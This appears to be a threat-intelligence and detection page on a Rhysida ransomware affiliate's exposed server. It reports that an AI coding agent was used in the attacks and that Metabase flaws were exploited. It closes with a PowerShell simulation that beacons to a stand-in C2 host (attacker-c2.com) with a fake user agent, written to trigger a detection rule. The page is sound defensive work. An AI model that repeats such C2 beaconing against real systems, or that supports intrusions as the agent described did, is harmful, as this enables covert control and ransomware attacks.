Rhysida Ransomware Exposed: Inside the Leaked Files
Summary
A Rhysida ransomware affiliate operated an exposed staging server and used an AI coding agent called OpenCode to support global cyberattacks. The investigation revealed custom C2 frameworks, large-scale exploitation of Metabase vulnerabilities, and targeted credential theft. The operation focused on high-impact sectors such as healthcare and education to support double-extortion attacks.
Investigation
CloudSEK discovered an exposed open directory and staging server linked to a Rhysida affiliate, exposing a complete operational environment. Researchers identified custom C2 infrastructure, Russian-language operator notes, and tooling for mass exploitation and data exfiltration. The findings provided a rare view into how AI agents are being incorporated into ransomware operations.
Mitigation
Organizations should patch vulnerable Metabase instances to prevent SQL injection and enforce MFA across all VPN gateways. Immutable backups should be maintained, while security teams monitor for unauthorized GPO changes and unexpected AzCopy activity. AI coding agents running on administrative endpoints should also be treated as privileged software and subject to strict logging and access controls.
Response
When malicious activity is detected, isolate affected hosts and revoke compromised credentials, particularly VPN and database accounts. Review Metabase session tables for unauthorized superuser accounts and investigate suspicious scheduled tasks. Incident response efforts should also focus on identifying data exfiltration activity and verifying the integrity and availability of backup systems.
Attack Flow
We are still updating this part.
Detections
Disabling Windows Defender Protections (via registry_event)
Suspicious Powershell Strings (via powershell)
Call Suspicious .NET Methods from Powershell (via powershell)
Windows Defender Preferences Suspicious Changes (via powershell)
IOCs (HashSha256) to detect: Caught in 4K: The Rhysida Files
IOCs (SourceIP) to detect: Caught in 4K: The Rhysida Files
IOCs (DestinationIP) to detect: Caught in 4K: The Rhysida Files
Mass Exploitation of Metabase CVE-2026-72898 for Superuser Access [Webserver]
Rhysida Ransomware Deployment via Admin Shares and Scheduled Tasks [Windows Process Creation]
Athena Custom C2 Framework and PowerShell Implant Detection [Windows Powershell]
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands: The adversary has gained initial access to a Windows workstation and is attempting to establish a Command-and-Control (C2) channel using a PowerShell-based implant. To avoid being flagged by simple signature-based network security tools, the “Athena” framework is configured to disguise its heartbeat and tasking requests as legitimate web asset downloads. The attacker executes a PowerShell command that mimics this behavior by sending an HTTP GET request to a remote URI (simulated as
http://attacker-c2.com/assets/config.js) while explicitly setting the User-Agent string to “Athena C2 Client”. This specific combination of a suspicious User-Agent and a web-extension URI is intended to trigger the existing detection rule. -
Regression Test Script:
# Athena C2 Simulation Script # This script mimics the Athena framework's network signature $targetUri = "http://attacker-c2.com/assets/config.js" $userAgent = "Athena C2 Client" Write-Host "[!] Starting Athena C2 Simulation..." -ForegroundColor Cyan try { # The Invoke-WebRequest command is used to generate the specific telemetry # required: User-Agent containing 'Athena' and URI ending in '.js' $response = Invoke-WebRequest -Uri $targetUri -UserAgent $userAgent -Method Get Write-Host "[+] Request sent successfully. Check SIEM for alert." -ForegroundColor Green } catch { # We expect a connection error since 'attacker-c2.com' is not real, # but the telemetry (User-Agent/URI) is still generated by the client. Write-Host "[*] Request attempted. Note: Connection failure is expected if domain is invalid." -ForegroundColor Yellow Write-Host "[*] Error Details: $($_.Exception.Message)" } -
Cleanup Commands:
# No permanent changes are made to the system by this simulation. # Simply clear the console and notify the user. Clear-Host Write-Host "[+] Simulation Cleanup Complete. No artifacts left on system." -ForegroundColor Green